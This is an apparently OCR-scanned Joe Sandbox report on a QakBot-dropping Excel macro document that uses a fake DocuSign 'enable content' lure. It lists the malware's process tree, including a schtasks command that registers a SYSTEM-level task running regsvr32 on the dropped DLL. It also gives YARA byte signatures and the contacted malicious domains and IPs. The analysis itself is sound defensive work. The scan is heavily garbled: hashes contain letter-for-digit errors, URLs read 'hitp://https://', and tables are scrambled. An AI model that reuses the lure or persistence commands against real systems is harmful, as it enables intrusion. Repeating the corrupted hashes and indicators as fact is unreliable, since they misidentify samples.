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General
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Analysis Report 9659e9a8_by Libranalysis.xls
Overview

General Information Detection

Sample 9659e9a8_by_Libranalysis
Name: Xls MALICIOUS

Analysis ID: 412182

Classification

Document exploit detected (drops P...

Malicious sample detected (through ...

MD5: ) . . .
9659e92a80fbasfo.. Office document tries to convince vi...
SHA1L:
7012f32440a369d. Allocates memory in foreign process...
SHA256: 252bda62a929cé. .
Document exploit detected (UrlDown...
Tags:
. Document exploit detected (process...
Infos: SR Q&
A Drops PE files to the user root direc...

Found Excel 4.0 Macro with suspicio...

Hidden Macro 4.0 Found abnormal large hidden Excel ...

Score: 100 Injects code into the Windows Explo...
Range: 0-100 Machine Learning detection for dropp...
Whitelisted: false
WHY 1 CAMNOT oPE THS DocUMENT? . Maps a DLL or memory area into an...
Confidence: 100%
Office process drops PE file
Docus_;gn;
The GlabalStandard for eSignature” Ovenwrites code with uncenditional j...

w
«Q
>
2
(=
=
®
(7]
)
b

Startup

= System is w10x64

. EXCEL.EXE (PID: 6780 cmdline: 'C:\Program Files (x86)\Microsoft Office\Officel6\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
. D rundll32.exe (PID: 7104 cmdline: rundll32 ..\ritofm.cvm,DIIRegisterServer MD5: D7CA562B0DB4F4DDOF03A89A1FDAD63D)
e = explorer.exe (PID: 6480 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 166AB1B9462E5C1D6D18EC5ECOB6ASF7)
e (B schtasks.exe (PID: 6500 cmdline: 'C:\Windows\system32\schtasks.exe' /Create /RU 'NT AUTHORITY\SYSTEM' /tn friwqvc /tr 'regsvr32.exe -s \'C:\Users\user\ri
tofm.cvm\" /SC ONCE /Z /ST 13:34 /ET 13:46 MD5: 15FF7D8324231381BAD48A052F85DF04)
. conhost.exe (PID: 6512 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. D rundll32.exe (PID: 5668 cmdline: rundll32 ..\ritofm.cvm1,DIIRegisterServer MD5: D7CA562B0DB4F4DD0OF03A89A1FDAD6G3D)
o (W regsvr32.exe (PID: 4816 cmdline: regsvr32.exe -s 'C:\Users\user\ritofm.cvm' MD5: D78B75FC68247E8A63ACBA846182740E)
o W] regsvr32.exe (PID: 5132 cmdline: -s 'C:\Users\user\ritofm.cvm' MD5: 426E7499F6A7346F0410DEAD0O805586B)
. Q’ WerFault.exe (PID: 3912 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 5132 -s 652 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
o (B regsvr32.exe (PID: 984 cmdline: regsvr32.exe -s 'C:\Users\user\ritofm.cvm' MD5: D78B75FC68247E8A63ACBA846182740E)
o B regsvr32.exe (PID: 4780 cmdline: -s 'C:\Users\user\ritofm.cvm' MD5: 426E7499F6A7346F0410DEAD0O805586B)
. w WerFault.exe (PID: 5828 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4780 -s 652 MD5: 9E2B8BACAD48ECCA55C0230D63623661B)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings

00000001.00000003.708454273.00000000049F0000.00000  QakBot QakBot Payload kevoreilly e 0x12e27:$crypto: 8B 5D 08 OF B6 C2 8A 16 OF B6 1C 18

004.00000001.sdmp 8855 13 OF B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08
4981 ...

Copyright Joe Security LLC 2021 Page 5 of 87



Source

00000005.00000002.984573064.0000000000EC0000.00000
040.00000001.sdmp

Unpacked PEs

Source

5.2.explorer.exe.ec0000.0.raw.unpack
1.3.rundll32.exe.49f0000.0.raw.unpack
5.2.explorer.exe.ec0000.0.unpack

1.3.rundlI32.exe.49f0000.0.unpack

Sigma Overview

System Summary:

Rule

QakBot

Rule

QakBot

QakBot

QakBot

QakBot

e 0x13a27:$crypto: 8B 5D 08 OF B6 C2 8A 16 OF B6 1C 18

88 55 13 OF B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08

e 0x13a27:$crypto: 8B 5D 08 OF B6 C2 8A 16 OF B6 1C 18

88 55 13 OF B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08

0x12e27:$crypto: 8B 5D 08 OF B6 C2 8A 16 OF B6 1C 18
88 55 13 OF B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08

0x12e27:$crypto: 8B 5D 08 OF B6 C2 8A 16 OF B6 1C 18
88 55 13 OF B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08

0x12227:$crypto: 8B 5D 08 OF B6 C2 8A 16 OF B6 1C 18

Description Author Strings
QakBot Payload kevoreilly

4981 ...
Description Author Strings
QakBot Payload kevoreilly

4981 ...
QakBot Payload kevoreilly

4981 ...
QakBot Payload kevoreilly

4981 ...
QakBot Payload kevoreilly

88 55 13 OF B6 D2 03 CB 03 CA 81 E1 FF 00 00 80 79 08

4981 ...

Signature Overview

@ Click to jump to signature section

AV Detection:

@ AV Detection

® Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

® Boot Survival

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection

Software Vulnerabilities:

Document exploit detected (drops PE files)

System Summary:

Malicious sample detected (through community Yara rule)

Copyright Joe Security LLC 2021
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Boot Survival:

Hooking and other Techniques for Hiding and Protection: I I

HIPS | PFW | Operating System Protection Evasion:

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Netwo
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effect:
Valid Scheduled Scheduled  Process Masquerading Credential System Time Remote Credential Exfiltration Encrypted Eavesi
Accounts Task/Job Task/Job Injection API Discovery Services API Over Other Channel Insecu
Hooking Hooking g§ Network Netwol
Medium Comm
Default Scripting DLL Side-  Scheduled Disable or Modify LSASS Security Software Remote Archive Exfiltration  Non- Exploit
Accounts Loading Task/Job Tools Memory Discovery Desktop Collected  Over Application Redire
Protocol Data Bluetooth  Layer Calls/s
Protocol
Domain Native API Logon Script DLL Side- Virtualization/Sandbox  Security Virtualization/Sandbox SMB/Windows Data from Automated Application Exploit
Accounts (Windows)  Loading Evasion Account Evasion Admin Shares Network Exfiltration Layer Track |
Manager Shared Protocol Locatic
Drive
Local Exploitation for Logon Script Logon Script Process NTDS Process Discovery Distributed Input Scheduled Protocol SIM Ci
Accounts Client (Mac) (Mac) Injection Component  Capture Transfer Impersonation  Swap
Execution Object Model
Cloud Cron Network Network Logon  Scripting LSA Account Discovery SSH Keylogging Data Fallback Manipt
Accounts Logon Script Script Secrets Transfer Channels Device
Size Limits Comm
Replication  Launchd Rc.common Rc.common Obfuscated Files or Cached System Owner/User  VNC GUI Input  Exfiltration  Multiband Jammi
Through Information Domain Discovery Capture Over C2 Communication Denial
Removable Credentials Channel Servict
Media
External Scheduled Task Startup Startup Items RundlI32 DCSync File and Directory Windows Web Portal Exfiltration Commonly Rogue
Remote Items Discovery Remote Capture Over Used Port Acces:
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled DLL Side-Loading Proc System Information Shared Credential Exfiltration Application Downc
Compromise Scripting Task/Job Task/Job Filesystem Discovery Webroot API Over Layer Protocol Insecu
Interpreter Hooking Symmetric Protoc
Encrypted
Non-C2
Protocol

Behavior Graph
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Behavior Graph
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Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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9659¢9a8_by_Libranalysis [Compatibility Mode] - 9659¢9a8_by_Libranalysis [Compatibility Mode] - Excel

Insert  Pagelayout  Formulas  Data  Review  View  Q Tell me what you want te 9 Share

L= === P Wrap Text General - G‘ ’_—‘) %ﬂ E)& @ é‘“m”"" éY p
E Fill~

== ElMegefCenter - § - % » 4§ 5 Condtional Formatas Cell nset Delete Fomat Sort & Find &
Formatting =~ Table~ Styles - - - ST Filter~ Select~

Alignment [} Number ] Styles Cells Editing

THIS DOCUMENT IS ENCRYPTED BY
DOCUSIGN® PROTECT SERVICE

PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION

If this document was downloaded from Email, please click Enable Editing
from the yellow bar above

Once You have Enable Editing, please click Enable Content
from the yellow bar above

WHY | CANNOT OPEN THIS DOCUMENT ?

@ You are using iOS or Android, please use Desktop PC

m You are trying to view this document using Online Viewer

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

9659e9a8_by_Libranalysis.xls 4% ReversingLabs

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\ritofm.cvm 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\ue[1].htm 100% Joe Sandbox ML

Unpacked PE Files

No Antivirus matches

Domains

Source Detection Scanner Label Link
signifysystem.com 0% Virustotal Browse
fcventasyservicios.cl 0% Virustotal Browse
URLs
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https://www.virustotal.com/gui/url/683042072dc07c7c37fe9c8a80a1cc331c24014bb3604643d5b035c4f14b2835/detection/u-683042072dc07c7c37fe9c8a80a1cc331c24014bb3604643d5b035c4f14b2835-1619916640
https://www.virustotal.com/gui/url/1e7fac530ec04bdfaabf07fd64158a28310f880be42ae435d3e389c553c6ddb0/detection/u-1e7fac530ec04bdfaabf07fd64158a28310f880be42ae435d3e389c553c6ddb0-1610443553

Source

hitp://https://cdn.entity.

hitp://https://cdn.entity.

hitp://https://cdn.entity.

hitp://https://cdn.entity.

hitp://https://powerlift.acompli.net
hitp://https://powerlift.acompli.net
hitp://https://powerlift.acompli.net
hitp://https://powerlift.acompli.net
hitp://https://rpsticket.partnerservices.getmicrosoftkey.com
hitp://https://rpsticket.partnerservices.getmicrosoftkey.com
hitp://https://rpsticket.partnerservices.getmicrosoftkey.com
hitp://https://rpsticket.partnerservices.getmicrosoftkey.com
hitp://https://cortana.ai

hitp://https://cortana.ai

hitp://https://cortana.ai

hitp://https://cortana.ai

hitp://https://api.aadrm.com/

hitp://https://api.aadrm.com/

hitp://https://api.aadrm.com/

hitp://https://api.aadrm.com/
hitp://https://ofcrecsvcapi-int.azurewebsites.net/
hitp://https://ofcrecsvcapi-int.azurewebsites.net/
hitp://https://res.getmicrosoftkey.com/api/redemptionevents
hitp://https://res.getmicrosoftkey.com/api/redemptionevents
hitp://https://res.getmicrosoftkey.com/api/redemptionevents
hitp://https://res.getmicrosoftkey.com/api/redemptionevents
hitp://https://powerlift-frontdesk.acompli.net
hitp://https://powerlift-frontdesk.acompli.net
hitp://https://powerlift-frontdesk.acompli.net
hitp://https://powerlift-frontdesk.acompli.net
hitp://https://officeci.azurewebsites.net/api/
hitp://https://store.office.cn/addinstemplate
hitp://https://store.office.cn/addinstemplate
hitp://https://store.office.cn/addinstemplate
hitp://https://store.officeppe.com/addinstemplate
hitp://https://store.officeppe.com/addinstemplate
hitp://https://store.officeppe.com/addinstemplate
hitp://https://dev0-api.acompli.net/autodetect
hitp://https://dev0-api.acompli.net/autodetect
hitp://https://dev0-api.acompli.net/autodetect
hitp://https://www.odwebp.svc.ms
hitp://https://www.odwebp.svc.ms
hitp://https://www.odwebp.svc.ms
hitp://https://dataservice.o0365filtering.com/
hitp://https://dataservice.o0365filtering.com/
hitp://https://dataservice.o0365filtering.com/
hitp://https://officesetup.getmicrosoftkey.com
hitp://https://officesetup.getmicrosoftkey.com
hitp://https://officesetup.getmicrosoftkey.com
hitp://https://prod-global-autodetect.acompli.net/autodetect
hitp://https://prod-global-autodetect.acompli.net/autodetect
hitp://https://prod-global-autodetect.acompli.net/autodetect
hitp://https://ncus.contentsync.
hitp://https://ncus.contentsync.
hitp://https://ncus.contentsync.
hitp://https://apis.live.net/v5.0/
hitp://https://apis.live.net/v5.0/
hitp://https://apis.live.net/v5.0/
hitp://https://wus2.contentsync.
hitp://https://wus2.contentsync.
hitp://https://wus2.contentsync.
hitp://https://asgsmsproxyapi.azurewebsites.net/
hitp://https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
hitp://https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile

Copyright Joe Security LLC 2021

Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
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0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
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0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Virustotal

Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation

Label
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

Link

Browse
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https://www.virustotal.com/gui/url/b52ed68c7daea1a0dbbae7e0dd7f2959e3b318743ba4678ef8fb0f0964b6661c/detection/u-b52ed68c7daea1a0dbbae7e0dd7f2959e3b318743ba4678ef8fb0f0964b6661c-1620309037

Source

hitp://https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile

hitp://https://ncus.pagecontentsync.
hitp://https://ncus.pagecontentsync.
hitp://https://ncus.pagecontentsync.
hitp://https://skyapi.live.net/Activity/
hitp://https://skyapi.live.net/Activity/
hitp://https://skyapi.live.net/Activity/
hitp://https://dataservice.o365filtering.com
hitp://https://dataservice.o0365filtering.com
hitp://https://dataservice.o0365filtering.com
hitp://https://api.cortana.ai
hitp://https://api.cortana.ai
hitp://https://api.cortana.ai
hitp://https://ovisualuiapp.azurewebsites.net/pbiagave/
hitp://https://directory.services.
hitp://https://directory.services.
hitp://https://directory.services.
hitp://https://staging.cortana.ai
hitp://https://staging.cortana.ai
hitp://https://staging.cortana.ai

Domains and IPs

Contacted Domains

Name P Active
signifysystem.com 192.185.39.58 true
fcventasyservicios.cl 192.185.32.232 true

URLs from Memory and Binaries

Name

hitp://https://api.diagnosticssdf.office.com
hitp://https://login.microsoftonline.com/
hitp://https://shell.suite.office.com:1443
hitp://https://login.windows.net/72f988bf-86f1-41af-91ab-
2d7cd011db47/oauth2/authorize

hitp://https://autodiscover-s.outlook.com/

http:/f
https://insertmedia.bing.office.net/images/officeonlinecontent/b
rowse?cp=Flickr

hitp://https://cdn.entity.

hitp://https://api.addins.omex.office.net/appinfo/query
http:/f

https://clients.config.office.net/user/v1.0/tenantassociationkey

http:/f
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/

hitp://https://powerlift.acompli.net

hitp://https://rpsticket.partnerservices.getmicrosoftkey.com

hitp://https://lookup.onenote.com/lookup/geolocation/vl

Copyright Joe Security LLC 2021

Source

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

9B0D8C85-82C2-4C91-AEDC-B94596
81EEEA.O.dr

Detection
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%
0%

Malicious
false

false

Malicious

false

false

false

false

false

false

false

false

false

false

false

false

false

Scanner

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

Antivirus Detection
e 0%, Virustotal, Browse

e 0%, Virustotal, Browse

Antivirus Detection

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

® o o o

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

e o o o

URL Reputation:
URL Reputation:
URL Reputation:
URL Reputation:

e o o o

Label
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
safe
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https://www.virustotal.com/gui/url/683042072dc07c7c37fe9c8a80a1cc331c24014bb3604643d5b035c4f14b2835/detection/u-683042072dc07c7c37fe9c8a80a1cc331c24014bb3604643d5b035c4f14b2835-1619916640
https://www.virustotal.com/gui/url/1e7fac530ec04bdfaabf07fd64158a28310f880be42ae435d3e389c553c6ddb0/detection/u-1e7fac530ec04bdfaabf07fd64158a28310f880be42ae435d3e389c553c6ddb0-1610443553

Name

hitp://https://cortana.ai

http:/f
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/get
freeformspeech
hitp://https://cloudfiles.onenote.com/upload.aspx

http:/f
https://syncservice.protection.outlook.com/PolicySync/PolicyS
ync.svc/SyncFile
hitp://https://entitlement.diagnosticssdf.office.com

http:/f
https://na01l.oscs.protection.outlook.com/api/SafeLinksApi/Get
Policy

hitp://https://api.aadrm.com/

hitp://https://ofcrecsvcapi-int.azurewebsites.net/

http:/f
https://dataservice.protection.outlook.com/PsorWebService/vl
/ClientSyncFile/MipPolicies
hitp://https://api.microsoftstream.com/api/
hitp://https://insertmedia.bing.office.net/images/hosted?
host=office&adlt=strict&hostType=Immersive
hitp://https://cr.office.com
hitp://https://portal.office.com/account/?ref=ClientMeControl
hitp://https://ecs.office.com/config/v2/Office

hitp://https://graph.ppe.windows.net

hitp://https://res.getmicrosoftkey.com/api/redemptionevents

hitp://https://powerlift-frontdesk.acompli.net

hitp://https://tasks.office.com

hitp://https://officeci.azurewebsites.net/api/

http:/f
https://sr.outlook.office.net/ws/speech/recognize/assistant/wor
k

hitp://https://store.office.cn/addinstemplate

hitp://https://outlook.office.com/autosuggest/api/v1/init?cvid=

hitp://https://globaldisco.crm.dynamics.com

http:/f
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/g
etfreeformspeech

hitp://https://store.officeppe.com/addinstemplate

hitp://https://dev0-api.acompli.net/autodetect

hitp://https://www.odwebp.svc.ms

hitp://https://api.powerbi.com/v1.0/myorg/groups

hitp://https://web.microsoftstream.com/video/
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https://www.virustotal.com/gui/url/b52ed68c7daea1a0dbbae7e0dd7f2959e3b318743ba4678ef8fb0f0964b6661c/detection/u-b52ed68c7daea1a0dbbae7e0dd7f2959e3b318743ba4678ef8fb0f0964b6661c-1620309037

Name

hitp://https://graph.windows.net

hitp://https://dataservice.o365filtering.com/

hitp://https://officesetup.getmicrosoftkey.com

hitp://https://analysis.windows.net/powerbi/api

hitp://https://prod-global-autodetect.acompli.net/autodetect

http:/f

https://outlook.office365.com/autodiscover/autodiscover.json

hitp://https://powerpoint.uservoice.com/forums/288952-

powerpoint-for-ipad-iphone-ios

http:/f

https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/get

freeformspeech

http:/f

https://pf.directory.live.com/profile/mine/System.ShortCircuitPr

ofile.json

hitp://https://ncus.contentsync.

hitp://https://onedrive.live.com/about/download/?

windows10SyncClientinstalled=false

http:/f

https://webdir.online.lync.com/autodiscover/autodiscoverservic

e.svc/root/

hitp://weather.service.msn.com/data.aspx

hitp://https://apis.live.net/v5.0/

hitp://https://officemobile.uservoice.com/forums/929800-office-

app-ios-and-ipad-asks

hitp://https://word.uservoice.com/forums/304948-word-for-

ipad-iphone-ios

hitp://https://autodiscover-

s.outlook.com/autodiscover/autodiscover.xml

hitp://https://management.azure.com

hitp://https://wus2.contentsync.

hitp://https://incidents.diagnostics.office.com

hitp://https://clients.config.office.net/user/v1.0/ios

hitp://https://insertmedia.bing.office.net/odc/insertmedia

hitp://https://o365auditrealtimeingestion.manage.office.com

hitp://https://outlook.office365.com/api/v1.0/me/Activities

hitp://https://api.office.net

hitp://https://incidents.diagnosticssdf.office.com

hitp://https://asgsmsproxyapi.azurewebsites.net/

hitp://https://clients.config.office.net/user/v1.0/android/policies

hitp://https://entitlement.diagnostics.office.com

http:/f

https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json

hitp://https://outlook.office.com/

hitp://https://storage.live.com/clientlogs/uploadlocation

hitp://https://templatelogging.office.com/client/log
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Name

hitp://https://outlook.office365.com/

hitp://https://webshell.suite.office.com

http:/f

https://insertmedia.bing.office.net/images/officeonlinecontent/b

rowse?cp=0OneDrive

hitp://https://management.azure.com/

hitp://https://login.windows.net/common/oauth2/authorize

http:/f

https://dataservice.o365filtering.com/PolicySync/PolicySync.sv

c/SyncFile
hitp://https://graph.windows.net/

hitp://https://api.powerbi.com/beta/myorg/imports

hitp://https://devnull.onenote.com

hitp://https://ncus.pagecontentsync.

http:/f

https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig

.json

hitp://https://messaging.office.com/

http:/f

https://dataservice.protection.outlook.com/PolicySync/Policy Sy

nc.svc/SyncFile

hitp://https://augloop.office.com/v2

http:/f

https://insertmedia.bing.office.net/images/officeonlinecontent/b

rowse?cp=Bing

hitp://https://skyapi.live.net/Activity/

hitp://https://clients.config.office.net/user/v1.0/mac

hitp://https://dataservice.o365filtering.com

hitp://https://api.cortana.ai

hitp://https://onedrive.live.com

hitp://https://ovisualuiapp.azurewebsites.net/pbiagave/

hitp://https://visio.uservoice.com/forums/368202-visio-on-

devices

hitp://https://directory.services.

hitp://https://login.windows-ppe.net/common/oauth2/authorize

hitp://https://staging.cortana.ai

Contacted IPs
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] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

P Domain Country Flag ASN ASN Name Malicious
192.185.39.58 signifysystem.com United States £S5 46606 UNIFIEDLAYER-AS-1US false
192.185.32.232 fcventasyservicios.cl United States £S5 46606 UNIFIEDLAYER-AS-1US false

General Information

Joe Sandbox Version: 32.0.0 Black Diamond

Analysis ID: 412182

Start date: 12.05.2021

Start time: 13:29:29

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 8m 47s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: 9659e9a8_by_Libranalysis.xls

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8
Update 211

Run name: Potential for more I0Cs and behavior

Number of analysed new started processes analysed: 33

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.expl.evad.winXLS@18/18@2/2
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EGA Information: Failed

HDC Information: e Successful, ratio: 85.1% (good quality ratio 79.7%)
e Quality average: 81.4%
e Quality standard deviation: 28.5%

HCA Information: e Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
Found application associated with file extension:
Xls
Found Word or Excel or PowerPoint or XPS Viewer
Attach to Office via COM
Scroll down
Close Viewer

Warnings: Show All
e Report size exceeded maximum capacity and may
have missing behavior information.
e TCP Packets have been reduced to 100

Simulations

Behavior and APIs

Time Type Description

13:32:54 Task Scheduler Run new task: friwgve path: regsvr32.exe s>-s "C:\Users\user\ritofm.cvm"

Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL SHA 256 Detection Link Context
192.185.39.58 Get hash malicious Browse
Get hash malicious Browse

192.185.32.232 Get hash malicious Browse

Get hash malicious Browse

Domains

Match Associated Sample Name /| URL SHA 256 Detection Link Context
signifysystem.com Get hash malicious Browse e 192.185.39.58
Get hash malicious Browse e 192.185.39.58
fcventasyservicios.cl Get hash malicious Browse e 192.185.32.232

Get hash malicious Browse e 192.185.32.232

ASN
Match Associated Sample Name /| URL SHA 256 Detection Link Context
UNIFIEDLAYER-AS-1US 46747509 by_Libranalysisds  Gethash malicious Browse o 102.185.32.232
_ Get hash malicious Browse e 192.185.32.232
_ Get hash malicious Browse e 192.232.222.43
_ Get hash malicious Browse e 67.20.76.71
_ Get hash malicious Browse e 192.185.17
1.219
_ Get hash malicious Browse e 162.241.169.22
_ Get hash malicious Browse e 192.185.17
1.219
_ Get hash malicious Browse e 192.185.129.32
_ Get hash malicious Browse e 162.241.62.63
_ Get hash malicious Browse e 162.241.24
4.112
_ Get hash malicious Browse e 162.144.13.239
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https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320701/html/none?idtype=webid
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320695/html/none?idtype=webid
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320684/html/none?idtype=webid
https://view.joesandbox.com/analysis/320662/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320662/html/none?idtype=webid
https://view.joesandbox.com/analysis/320656/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320656/html/none?idtype=webid
https://view.joesandbox.com/analysis/320642/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320642/html/none?idtype=webid
https://view.joesandbox.com/analysis/320616/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320616/html/none?idtype=webid
https://view.joesandbox.com/analysis/320595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320595/html/none?idtype=webid
https://view.joesandbox.com/analysis/320584/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320584/html/none?idtype=webid
https://view.joesandbox.com/analysis/320583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320583/html/none?idtype=webid
https://view.joesandbox.com/analysis/320580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/320580/html/none?idtype=webid

Match

UNIFIEDLAYER-AS-1US

JA3 Fingerprints

Match
37f463bf4616ecd445d4a1937da06e19

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash
Get hash

Get hash
Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash

Get hash
Get hash
Get hash

Get hash
Get hash

Get hash

Get hash
Get hash

Get hash
Get hash

Get hash

Get hash

Get hash

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

108.167.18
0.164

108.167.18
0.164

108.179.232.90

162.241.19
0.216

108.179.232.90

192.185.11
5.105

162.241.19
0.216

192.185.22
6.148

192.185.161.67
192.185.32.232
192.185.32.232
192.232.222.43
67.20.76.71

192.185.17
1.219

162.241.169.22

192.185.17
1.219

192.185.129.32
162.241.62.63

162.241.24
